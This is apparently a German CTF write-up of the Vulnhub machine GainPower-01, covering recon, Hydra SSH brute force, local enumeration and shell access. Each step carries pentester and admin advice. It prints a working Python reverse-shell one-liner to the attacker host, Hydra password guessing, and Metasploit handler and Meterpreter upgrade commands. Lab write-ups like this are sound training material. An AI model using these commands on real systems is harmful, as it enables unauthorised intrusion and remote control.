GainPower-01 - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
nikto
nmap
vi
python
chmod
ssh
hydra
find
getcap
grep
cat
ss
metasploit (msfconsole)
curl (implizit)
id
cd
ls
grep

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Identifizierung des Ziels im Netzwerk und einem ersten Scan der offenen Ports und Dienste.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.106	08:00:27:39:01:d5	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` sucht im lokalen Netzwerk nach aktiven Geräten mittels ARP.

Bewertung: Ein aktives Gerät mit der IP `192.168.2.106` wurde gefunden. Die MAC-Adresse (`08:00:27:39:01:d5`) und der Hersteller (`PCS Systemtechnik GmbH`) weisen auf eine Oracle VirtualBox VM hin. Dies ist unser Ziel.

Empfehlung (Pentester): Ziel-IP notieren.
Empfehlung (Admin): Netzwerksegmentierung und -überwachung können helfen.

Wir führen einen Webserver-Scan mit Nikto durch, um schnell häufige Schwachstellen oder interessante Dateien zu finden.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.106
- Nikto v2.5.0
+ Target IP:          192.168.2.106
+ Target Hostname:    192.168.2.106
+ Target Port:        80
+ Start Time:         2023-07-10 23:10:34 (GMT2)
+ Server: Apache/2.4.6 (CentOS) 
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options 
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ 
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. 
+ OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST, TRACE . 
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /readme.txt: This might be interesting.
+ /secret/: Directory indexing found.
+ /secret/: This might be interesting.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.html: Admin login page/section found.
+ /test.php: This might be interesting.
+ 8909 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2023-07-10 23:10:50 (GMT2) (16 seconds)
+ 1 host(s) tested
                    

Analyse: `nikto -h 192.168.2.106` scannt den Webserver auf Port 80.

Bewertung: Nikto liefert viele interessante Hinweise:

Die vielen gefundenen Pfade und die veraltete Apache-Version sind die wichtigsten Ergebnisse.

Empfehlung (Pentester): Untersuchen Sie die gefundenen Pfade (`/readme.txt`, `/secret/`, `/test.php`, `/login.html`) manuell im Browser oder mit `curl`. Recherchieren Sie bekannte Schwachstellen für Apache 2.4.6.
Empfehlung (Admin): Aktualisieren Sie Apache dringend. Deaktivieren Sie Directory Indexing für Verzeichnisse wie `/secret/` und `/icons/`. Entfernen Sie unnötige Dateien (`readme.txt`, `test.php`, Standard-`README`). Deaktivieren Sie die TRACE-Methode. Implementieren Sie fehlende Security Header.

Wir führen einen detaillierten Nmap-Scan durch, um alle offenen Ports und Dienste zu identifizieren.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.106 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-10 23:10 CEST
Nmap scan report for gain.vln (192.168.2.106)
Host is up (0.00028s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION 
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0) 
| ssh-hostkey:
|   2048 88:41:61:11:e1:1f:18:7d:d6:0c:38:29:25:79:16:2c (RSA) 
|   256 18:c5:fd:ce:cd:2b:92:f8:d9:17:17:21:24:9d:67:df (ECDSA) 
|_  256 84:c5:14:e4:e9:33:21:41:6a:92:72:b9:a7:33:1a:ea (ED25519) 
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS)) 
|_http-title: Watch shop | eCommers
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) 
8000/tcp open  http    Ajenti http control panel
|_http-title: Ajenti
MAC Address: 08:00:27:39:01:D5 (Oracle VirtualBox virtual NIC) 
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE 
HOP RTT     ADDRESS 
1   0.28 ms gain.vln (192.168.2.106)
                    

Analyse: `nmap` mit Optionen für SYN-Scan (`-sS`), Standard-Skripte (`-sC`), Versionserkennung (`-sV`), schnelles Timing (`-T5`) und aggressiven Scan (`-A`) gegen alle TCP-Ports (`-p-`).

Bewertung: Der Scan findet drei offene Ports:

Das Betriebssystem wird als CentOS/Linux Kernel 3/4 identifiziert. Die wichtigsten Angriffsvektoren sind der alte Apache, der Ajenti-Panel und SSH.

Empfehlung (Pentester): Untersuchen Sie den Ajenti-Panel auf Port 8000 (Standard-Logins? Bekannte Schwachstellen?). Fahren Sie mit der Untersuchung der auf Port 80 gefundenen Pfade fort. Behalten Sie SSH für Brute-Force-Angriffe im Auge, falls Benutzernamen bekannt werden.
Empfehlung (Admin): Aktualisieren Sie Apache und OpenSSH. Stellen Sie sicher, dass der Ajenti-Panel sicher konfiguriert ist (starke Passwörter, Zugriffsbeschränkung, aktuelle Version). Schränken Sie den Zugriff auf Port 8000 ein, wenn er nicht von extern benötigt wird.

Wir filtern die offenen Ports zur Übersicht.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.106 -p- | grep open
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0) 
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS)) 
8000/tcp open  http    Ajenti http control panel
                    

Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.

Bewertung: Bestätigt die drei offenen Ports 22, 80 und 8000.

Empfehlung (Pentester): Fokussieren Sie sich auf diese drei Ports.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit dieser offenen Ports.

Web Enumeration

Wir untersuchen die auf Port 80 gefundenen Webpfade genauer, insbesondere die von Nikto gemeldete `/test.php`.

view-source:http://192.168.2.106/test.php
  
 
                    

Analyse: Die Analyse des Quellcodes der Seite `/test.php` (oder ihres Outputs) zeigt, dass sie die PHP-Funktion `phpinfo();` aufruft. Diese Funktion gibt detaillierte Informationen über die PHP-Konfiguration, geladene Module, Umgebungsvariablen usw. aus. Ein Kommentar deutet auf eine unvollständige Konfiguration hin.

Bewertung: Das Vorhandensein einer `phpinfo()`-Seite ist ein Informationsleck. Es kann sensible Details über die Serverkonfiguration preisgeben (z.B. interne Pfade, Softwareversionen, manchmal sogar Umgebungsvariablen mit Zugangsdaten). In bestimmten, seltenen Fällen können Schwachstellen in `phpinfo()` selbst (oder in der Art, wie sie LFI ermöglicht) zur Codeausführung führen.

Empfehlung (Pentester): Analysieren Sie die Ausgabe von `phpinfo()` sorgfältig auf interessante Informationen (Pfade, Versionen, Konfigurationseinstellungen, Umgebungsvariablen). Recherchieren Sie, ob die spezifische PHP-Version und Konfiguration in Kombination mit `phpinfo()` bekannte Schwachstellen aufweist (z.B. LFI-to-RCE durch `phpinfo()` in bestimmten Szenarien).
Empfehlung (Admin): Entfernen Sie `phpinfo()`-Seiten oder -Aufrufe von Produktionsservern. Sie sollten nur zu Debugging-Zwecken temporär verwendet werden.

Es wird versucht, einen Exploit zu verwenden, der Local File Inclusion (LFI) über `phpinfo()` zu Remote Code Execution (RCE) eskaliert.

# wget https://raw.githubusercontent.com/roughiz/lfito_rce/master/lfito_rce.py -O phpinfoExploit.py

                     

Analyse: Ein Exploit-Skript wird von GitHub heruntergeladen. Dieses Skript versucht, eine spezifische Technik auszunutzen, bei der eine LFI-Schwachstelle in Kombination mit der `phpinfo()`-Ausgabe genutzt wird, um eine temporäre PHP-Upload-Datei zu finden und auszuführen, was zu RCE führt.

Bewertung: Vorbereitung des Exploit-Versuchs.

Empfehlung (Pentester): Überprüfen Sie den Code des Exploits vor der Ausführung. Stellen Sie sicher, dass die Voraussetzungen (LFI + phpinfo) gegeben sind.
Empfehlung (Admin): Diese Technik unterstreicht erneut, warum `phpinfo()` nicht öffentlich zugänglich sein sollte.

┌──(root㉿cycat)-[~] └─# vi phpinfoExploit.py

                    

Analyse: Das heruntergeladene Skript wird im Editor geöffnet, vermutlich um es anzupassen oder zu überprüfen.

Bewertung: Standardvorgehen vor der Ausführung fremden Codes.

Empfehlung (Pentester): Passen Sie ggf. Parameter im Skript an oder stellen Sie sicher, dass Sie die Funktionsweise verstehen.
Empfehlung (Admin): Keine spezifische Empfehlung.

┌──(root㉿cycat)-[~] └─# chmod +x phpinfoExploit.py

                    

Analyse: Das Skript wird ausführbar gemacht.

Bewertung: Notwendiger Schritt zur Ausführung.

Empfehlung (Pentester): Führen Sie das Skript mit den passenden Parametern aus.
Empfehlung (Admin): Keine spezifische Empfehlung.

┌──(root㉿cycat)-[~] └─# python phpinfoExploit.py -l "http://192.168.2.105/revshell.php?file=" --lhost 127.0.0.1 --lport 9001 -t 12 -i "http://192.168.2.106/test.php"
[ERROR] LFI url path or PHPINFO url path is not reachable ! 

[ERROR] HTTPConnectionPool(host='192.168.2.105', port=80): Max retries exceeded with url: 
/revshell.php?file= (Caused by NewConnectionError(':
Failed to establish a new connection: [Errno 111] Connection refused'))
                    

Analyse: Das Exploit-Skript wird ausgeführt.

Bewertung: Der Exploit schlägt fehl (`[ERROR]`). Die Fehlermeldung `Connection refused` bezieht sich auf die versuchte Verbindung zur LFI-URL auf dem Angreifer-System (`192.168.2.105`), was logisch ist, da dort kein entsprechender Webserver läuft und das Konzept des Exploits hier falsch angewendet wird. Es gibt keine Anzeichen für eine LFI-Schwachstelle, die für diesen spezifischen Exploit benötigt würde.

Empfehlung (Pentester): Dieser Exploit-Typ ist hier nicht anwendbar, da die Voraussetzungen (insbesondere eine nutzbare LFI) nicht erfüllt sind. Verwerfen Sie diesen Ansatz und konzentrieren Sie sich auf andere Vektoren (Ajenti, SSH).
Empfehlung (Admin): Keine spezifische Empfehlung, da der Angriff fehlschlug.

Initial Access

Nachdem der Web-Exploit-Versuch fehlschlug, konzentrieren wir uns auf den SSH-Dienst. Wir versuchen, Informationen durch eine direkte Verbindungsanfrage zu erhalten und führen dann einen Brute-Force-Angriff durch.

┌──(root㉿cycat)-[~] └─# ssh eder@gain.vln
The authenticity of host 'gain.vln (192.168.2.106)' can't be established.
ED25519 key fingerprint is SHA256:1yR5iTL+oNBeYI7ACvh1p8CYWHrzXAiC+CSijI9uQ. 
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'gain.vln' (ED25519) to the list of known hosts.
Hi !!! THIS MESSAGE IS ONLY VISIBLE IN UR NETWORK :) 

   ___      _        ___
  / __|__ _(_)_ _   | _ \_____ __ _____ _ _
 | (_ / _` | | ' \  |  _/ _ \ V  V / -_) '_|
  \___\__,_|_|_||_| |_| \___/\_/\_/\___|_|

~
I HOPE EVERYONE KNOW THE JOINING ID CAUSE THAT IS YOUR USERNAME : ie : employee1 employee2 ... ... ... so on ;) 
~
I already told the format of password of everyone in the yesterday's meeting. 

Now i have configured everything. My request is to everyone to Complete assignments on time

btw one of my employee have sudo powers because he is my favourite

NOTE : "This message will automatically removed after 2 days" 
								- BOSS 


--------------------------------------------------------------------------------
USERNAME :  employee1
USERNAME :  employee2
--------------------------------------------------------------------------------
                     

Analyse: Ein SSH-Verbindungsversuch wird gestartet, scheinbar mit einem Test-Benutzernamen `eder` (der wahrscheinlich nicht existiert). Nach Bestätigung des Host-Schlüssels wird jedoch ein sehr ausführlicher SSH-Banner (Pre-Authentication Banner) angezeigt, bevor überhaupt nach einem Passwort gefragt wird.

Bewertung: Dieser SSH-Banner ist ein massives Informationsleck und ein kritischer Fund! Er verrät:

Dies liefert uns direkt gültige Benutzernamen und einen starken Hinweis auf das Passwortschema.

Empfehlung (Pentester): Nutzen Sie die Benutzernamen `employee1`, `employee2` usw. für Brute-Force-Angriffe. Versuchen Sie, das Passwortmuster zu erraten (z.B. könnte das Passwort identisch mit dem Benutzernamen sein, oder einem einfachen Muster wie `Benutzername123` folgen). Starten Sie einen Hydra-Angriff auf `employee1`.
Empfehlung (Admin): Entfernen Sie sofort diesen informationsreichen Banner aus der SSH-Konfiguration (`/etc/ssh/sshd_config`, Direktive `Banner`). Banner sollten keine sensiblen Informationen, Benutzernamen oder Hinweise auf Passwörter enthalten.

Wir starten einen Hydra Brute-Force-Angriff auf den Benutzer `employee1`.

┌──(root㉿cycat)-[~] └─# hydra -l employee1 -P /usr/share/wordlists/rockyou.txt ssh://gain.vln:22 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). 

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-10 23:44:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344412 login tries (l:1/p:14344412), ~224132 tries per task
[DATA] attacking ssh://gain.vln:22/

[22][ssh] host: gain.vln   login: employee1   password: employee1

1 of 1 target successfully completed, 1 valid password found
                    

Analyse: Hydra versucht, das Passwort für `employee1` auf Port 22 mit der `rockyou.txt`-Liste zu erraten.

Bewertung: Erfolg! Hydra findet das Passwort `employee1`. Dies bestätigt die Vermutung aus dem SSH-Banner, dass das Passwort möglicherweise identisch mit dem Benutzernamen ist. Ein extrem schwaches Passwortschema.

Empfehlung (Pentester): Melden Sie sich sofort mit `employee1` / `employee1` via SSH an.
Empfehlung (Admin): Ändern Sie sofort alle Passwörter, die diesem Schema folgen. Implementieren Sie eine starke Passwortrichtlinie und verbieten Sie solche einfachen Muster.

Wir melden uns mit den gefundenen Zugangsdaten per SSH an.

┌──(root㉿cycat)-[~] └─# ssh employee1@gain.vln
Hi !!! THIS MESSAGE IS ONLY VISIBLE IN UR NETWORK :) 

   ___      _        ___
  / __|__ _(_)_ _   | _ \_____ __ _____ _ _
 | (_ / _` | | ' \  |  _/ _ \ V  V / -_) '_|
  \___\__,_|_|_||_| |_| \___/\_/\_/\___|_|


I HOPE EVERYONE KNOW THE JOINING ID CAUSE THAT IS YOUR USERNAME : ie : employee1 employee2 ... ... ... so on ;) 

I already told the format of password of everyone in the yesterday's meeting. 

Now i have configured everything. My request is to everyone to Complete assignments on time

btw one of my employee have sudo powers because he is my favourite

NOTE : "This message will automatically removed after 2 days" 
								- BOSS 

employee1@gain.vln's password: employee1
Last failed login: Mon Jul 10 17:44:30 EDT 2023 from cycat on ssh:notty
There were 549 failed login attempts since the last successful login.
Last login: Mon May 18 08:59:41 2020
[employee1@ ~]$
                     

Analyse: Erfolgreicher SSH-Login als `employee1` mit dem Passwort `employee1`. Der informative Banner wird erneut angezeigt, gefolgt von Informationen über fehlgeschlagene Login-Versuche und den letzten erfolgreichen Login.

Bewertung: Initial Access erfolgreich erlangt. Wir haben eine Shell als `employee1`. Die hohe Anzahl fehlgeschlagener Logins deutet auf vorherige Brute-Force-Versuche (möglicherweise von uns oder anderen) hin.

Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration als `employee1`, um Wege zur Privilegienerweiterung zu finden. Suchen Sie nach dem "Lieblingsmitarbeiter" mit `sudo`-Rechten.
Empfehlung (Admin): Entfernen Sie den SSH-Banner. Überwachen Sie fehlgeschlagene Login-Versuche und implementieren Sie robuste Sperrmechanismen (fail2ban).

Privilege Escalation Preparation

Nachdem wir Zugriff als `employee1` erlangt haben, führen wir lokale Enumerationsschritte durch, um potenzielle Wege zur Erhöhung unserer Rechte zu finden.

Wir suchen nach SUID-Binaries.

[employee1@ ~]$ find / -type f -perm -4000 -ls 2>/dev/null
25328572   24 -rws--x--x   1 root     root        24048 Oct 30  2018 /usr/bin/chfn 
25328575   24 -rws--x--x   1 root     root        23960 Oct 30  2018 /usr/bin/chsh 
25328608   44 -rwsr-xr-x   1 root     root        44320 Oct 30  2018 /usr/bin/mount 
25270678   64 -rwsr-xr-x   1 root     root        64328 Oct 30  2018 /usr/bin/chage 
25270679   80 -rwsr-xr-x   1 root     root        78272 Oct 30  2018 /usr/bin/gpasswd 
25270681   44 -rwsr-xr-x   1 root     root        41872 Oct 30  2018 /usr/bin/newgrp 
25328623   32 -rwsr-xr-x   1 root     root        32208 Oct 30  2018 /usr/bin/su 
25328627   32 -rwsr-xr-x   1 root     root        32048 Oct 30  2018 /usr/bin/umount 
25545795  144 s--x--x   1 root     root       147392 Oct 30  2018 /usr/bin/sudo  
25334378   60 -rwsr-xr-x   1 root     root        57576 Apr 10  2018 /usr/bin/crontab
25329197   24 -rwsr-xr-x   1 root     root        23656 Oct 30  2018 /usr/bin/pkexec 
25545835   28 -rwsr-xr-x   1 root     root        27832 Jun 10  2014 /usr/bin/passwd
 31950   12 -rwsr-xr-x   1 root     root        11216 Apr 10  2018 /usr/sbin/pam_timestamp_check
 31952   36 -rwsr-xr-x   1 root     root        36280 Apr 10  2018 /usr/sbin/unix_chkpwd
151075   12 -rwsr-xr-x   1 root     root        11376 Oct 30  2018 /usr/sbin/usernetctl 
25329200   16 -rwsr-xr-x   1 root     root        15512 Oct 30  2018 /usr/lib/polkit-1/polkit-agent-helper-1 
25329190   60 -rwsr-x---   1 root     dbus        58024 Nov  2  2018 /usr/libexec/dbus-1/dbus-daemon-launch-helper 
                     

Analyse: Der `find`-Befehl listet Dateien mit gesetztem SUID-Bit auf.

Bewertung: Die Liste enthält viele Standard-SUID-Binaries. `/usr/bin/sudo` hat ungewöhnliche Berechtigungen (`rws--x--x`), was bedeutet, dass nur der Besitzer (root) und Mitglieder der Gruppe Leserechte haben, aber Ausführrechte breiter gesetzt sind (was hier irrelevant ist, da execute für other fehlt). `/usr/bin/pkexec` ist vorhanden und bekannt für die Pwnkit-Schwachstelle (CVE-2021-4034), abhängig von der genauen Version (hier nicht direkt ersichtlich, aber das Datum 2018 deutet auf eine potenziell anfällige Version hin). Keine offensichtlich ungewöhnlichen oder leicht ausnutzbaren SUID-Dateien außer potenziell `pkexec`.

Empfehlung (Pentester): Überprüfen Sie die Version von `pkexec` oder testen Sie direkt auf die Pwnkit-Schwachstelle. Prüfen Sie, ob `employee1` `sudo -l` ausführen kann (trotz der merkwürdigen Leseberechtigungen, die Ausführung könnte dennoch klappen).
Empfehlung (Admin): Überprüfen Sie die Berechtigungen von `sudo`. Halten Sie `polkit` (das `pkexec` enthält) aktuell, um Pwnkit zu patchen. Minimieren Sie SUID-Binaries.

Wir suchen nach Dateien mit gesetzten Capabilities.

[employee1@ ~]$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
                     

Analyse: `getcap -r / 2>/dev/null` sucht rekursiv im gesamten Dateisystem nach Dateien, denen Linux Capabilities zugewiesen wurden. Capabilities erlauben Prozessen, spezifische Root-Privilegien zu nutzen, ohne vollständig als Root laufen zu müssen.

Bewertung: Es werden nur Standard-Capabilities für `ping`, `arping`, `clockdiff` und `suexec` gefunden. Insbesondere `suexec` mit `cap_setgid,cap_setuid+ep` ist Standard für Apache und normalerweise kein direkter Vektor für Privescs durch einen normalen Benutzer. Keine ungewöhnlichen oder leicht missbrauchbaren Capabilities gefunden.

Empfehlung (Pentester): Capabilities scheinen hier kein einfacher Weg zur Privilegienerweiterung zu sein.
Empfehlung (Admin): Vergeben Sie Capabilities nur, wenn unbedingt notwendig, und verstehen Sie deren Implikationen.

Wir listen alle Benutzer mit einer Bash-Shell auf, um einen Überblick über potenzielle Zielkonten zu bekommen.

[employee1@ html]$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
employee1:x:1000:1000/home/employee1:/bin/bash
employee2:x:1001:1001/home/employee2:/bin/bash
employee3:x:1002:1002/home/employee3:/bin/bash
employee4:x:1003:1003/home/employee4:/bin/bash
employee5:x:1004:1004/home/employee5:/bin/bash
employee6:x:1005:1005/home/employee6:/bin/bash
employee7:x:1006:1006/home/employee7:/bin/bash
....
...
..
.
coworker55:x:1181:1181/home/coworker55:/bin/bash
programmer:x:1182:1184/home/programmer:/bin/bash
vanshal:x:1183:1184/home/vanshal:/bin/bash
                     

Analyse: `grep bash /etc/passwd` filtert die Passwort-Datenbank nach Benutzern, deren Login-Shell `/bin/bash` ist, was typischerweise interaktive Benutzerkonten anzeigt.

Bewertung: Bestätigt die Existenz der `employeeX`-Benutzer sowie weitere Benutzer wie `coworker55`, `programmer` und `vanshal`. Dies erweitert die Liste potenzieller Ziele für Lateral Movement oder die Suche nach dem "Lieblingsmitarbeiter" mit sudo-Rechten.

Empfehlung (Pentester): Versuchen Sie, das Passwortmuster (`employeeX` -> `employeeX`) auf andere gefundene Benutzer anzuwenden (z.B. `employee2` bis `employee7`, `programmer`, `vanshal`). Konzentrieren Sie sich auf `vanshal` und `programmer`, da diese nicht dem Standardmuster entsprechen. Überprüfen Sie `sudo -l` für `employee1`.
Empfehlung (Admin): Stellen Sie sicher, dass alle Benutzerkonten (auch nicht-menschliche) starke, einzigartige Passwörter haben. Entfernen Sie ungenutzte Konten.

Wir untersuchen eine PHP-Datei, die wahrscheinlich zum Webserver gehört.

[employee1@ html]$ cat contact_process.php
 // Added closing PHP tag
 
                    

Analyse: `cat contact_process.php` zeigt den Quellcode einer PHP-Datei, die wahrscheinlich ein Kontaktformular auf der Webseite verarbeitet. Sie nimmt Benutzereingaben entgegen und scheint eine E-Mail an `rockybd1995@gmail.com` zu senden.

Bewertung: Der Code selbst scheint keine unmittelbare Schwachstelle wie Command Injection oder gravierende LFI zu enthalten. Die Verwendung von `$_REQUEST` ist nicht ideal, aber hier nicht direkt ausnutzbar. Die E-Mail-Adresse könnte für OSINT nützlich sein, ist aber wahrscheinlich nicht relevant für die Privilegienerweiterung. Der kryptische Kommentar am Ende (`zFH...`) könnte ein Hinweis oder Datenrest sein, ist aber schwer zu interpretieren.

Empfehlung (Pentester): Diese Datei bietet wahrscheinlich keinen direkten Weg zur Privilegienerweiterung. Ignorieren Sie sie vorerst.
Empfehlung (Admin): Bereinigen Sie den Code (z.B. unnötige Kommentare entfernen). Validieren und sanitisieren Sie Benutzereingaben immer serverseitig, auch wenn hier keine direkte Lücke sichtbar ist.

Wir überprüfen die offenen Netzwerk-Sockets.

[employee1@ html]$ ss -altpn
State      Recv-Q Send-Q  Local Address:Port                 Peer Address:Port
LISTEN     0      128                 *:22                              *:*
LISTEN     0      10                  *:8000                            *:*
LISTEN     0      128                :::80                             :::* 
LISTEN     0      128                :::22                             :::* 
                     

Analyse: `ss -altpn` listet alle (`a`) lauschenden (`l`) TCP-Sockets (`t`) mit Prozessinformationen (`p`) und ohne Namensauflösung (`n`) auf.

Bewertung: Bestätigt die von Nmap gefundenen offenen Ports 22 (SSH), 80 (HTTP) und 8000 (Ajenti). Zeigt, dass die Dienste sowohl auf IPv4 (`*`) als auch auf IPv6 (`::`) lauschen.

Empfehlung (Pentester): Keine neuen Informationen, bestätigt frühere Scans.
Empfehlung (Admin): Stellen Sie sicher, dass Dienste nur auf den notwendigen Interfaces und Protokollen (IPv4/IPv6) lauschen.

Wir richten einen Metasploit-Listener ein, um eine Reverse Shell zu empfangen.

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

View the full module info with the info, or info -d command.
                    
msf6 exploit(multi/handler) > set LHOST eth0
LHOST => 192.168.2.105
msf6 exploit(multi/handler) > set LPORT 5555
[!] Unknown datastore option: �LPORT. Did you mean LPORT?
msf6 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.105:5555
                    

Analyse: In der Metasploit-Konsole wird der `multi/handler` geladen, um eingehende Verbindungen zu empfangen. Als Payload wird `generic/shell_reverse_tcp` verwendet. Die lokale IP-Adresse des Angreifers (`LHOST`) wird auf `eth0` (was zu `192.168.2.105` aufgelöst wird) und der lokale Port (`LPORT`) auf `5555` gesetzt. Der Listener wird mit `run` gestartet.

Bewertung: Der Listener ist bereit, eine eingehende Reverse Shell auf Port 5555 zu empfangen. Dies ist eine Vorbereitung, um eine stabilere oder interaktivere Shell vom Zielsystem zu erhalten.

Empfehlung (Pentester): Führen Sie auf dem Zielsystem (`employee1`-Shell) einen Befehl aus, der eine Verbindung zu `192.168.2.105:5555` herstellt (z.B. mit Python, Netcat, Bash).
Empfehlung (Admin): Ausgehende Verbindungen vom Server sollten über eine Firewall kontrolliert und beschränkt werden, um das Etablieren von Reverse Shells zu erschweren.

Wir führen auf dem Zielsystem einen Python-Einzeiler aus, um eine Reverse Shell zu unserem Listener aufzubauen.

[employee1@ html]$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.105",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

                     

Analyse: Dieser Python-Einzeiler stellt eine TCP-Verbindung (`socket.SOCK_STREAM`) zur IP `192.168.2.105` auf Port `5555` her. Anschließend werden die Standard-Eingabe (stdin, fileno 0), Standard-Ausgabe (stdout, fileno 1) und Standard-Fehlerausgabe (stderr, fileno 2) des Prozesses auf den Netzwerk-Socket umgeleitet (`os.dup2`). Schließlich wird eine interaktive Shell (`/bin/sh -i`) gestartet, deren Ein- und Ausgabe nun über die Netzwerkverbindung läuft.

Bewertung: Erfolgreiche Etablierung einer Reverse Shell. Der Metasploit-Listener sollte nun eine aktive Sitzung anzeigen.

Empfehlung (Pentester): Wechseln Sie zum Metasploit-Fenster, um mit der neuen Shell-Sitzung zu interagieren. Führen Sie ggf. ein Upgrade auf eine Meterpreter-Sitzung durch, um mehr Funktionalität zu erhalten.
Empfehlung (Admin): Erkennung und Verhinderung verdächtiger ausgehender Verbindungen. Intrusion Detection Systems (IDS) können solche Shell-Verbindungen erkennen.

Die erfolgreiche Verbindung wird im Metasploit-Listener bestätigt.

msf6 exploit(multi/handler) >
[*] Command shell session 1 opened (192.168.2.105:5555 -> 192.168.2.106:57930) at 2023-07-10 23:54:54 +0200

Shell Banner: 
_[?1034hsh-4.2$
--

sh-4.2$
                     

Analyse: Metasploit meldet, dass die "Command shell session 1" geöffnet wurde. Die IP-Adressen und Ports der Verbindung werden angezeigt. Wir erhalten einen einfachen Shell-Prompt (`sh-4.2$`).

Bewertung: Die Reverse Shell ist aktiv und nutzbar über Metasploit.

Empfehlung (Pentester): Führen Sie ein Upgrade auf eine Meterpreter-Sitzung durch, um die Steuerung zu verbessern.
Empfehlung (Admin): Keine neuen Empfehlungen.

Wir verwenden das Metasploit-Modul `shell_to_meterpreter`, um die einfache Shell in eine funktionsreichere Meterpreter-Sitzung umzuwandeln.

msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on 


View the full module info with the info, or info -d command.
                    
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true
HANDLER => true
msf6 post(multi/manage/shell_to_meterpreter) > set LHOST eth0
LHOST => 192.168.2.105
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433
LPORT => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.105:4433
[*] Sending stage (1017704 bytes) to 192.168.2.106
[*] Meterpreter session 2 opened (192.168.2.105:4433 -> 192.168.2.106:52638) at 2023-07-10 23:56:17 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

Analyse: Das Post-Exploitation-Modul `shell_to_meterpreter` wird geladen. Es wird auf die bestehende Shell-Sitzung (`session 1`) angewendet. Ein neuer Handler wird automatisch gestartet (`HANDLER true`), der auf `192.168.2.105` (`LHOST eth0`) und Port `4433` (`LPORT 4433`) lauscht. Das Modul lädt dann den Meterpreter-Payload auf das Zielsystem hoch und führt ihn aus.

Bewertung: Erfolgreich! Eine neue Meterpreter-Sitzung (Session 2) wurde geöffnet. Meterpreter bietet eine Vielzahl von Funktionen zur weiteren Enumeration, Steuerung und Privilegienerweiterung.

Empfehlung (Pentester): Interagieren Sie mit der Meterpreter-Sitzung 2 (`sessions -i 2`). Nutzen Sie Meterpreter-Befehle (`sysinfo`, `getuid`, `ps`, `hashdump` etc.) und Module (z.B. `local_exploit_suggester`) zur weiteren Enumeration und Privilegienerweiterung.
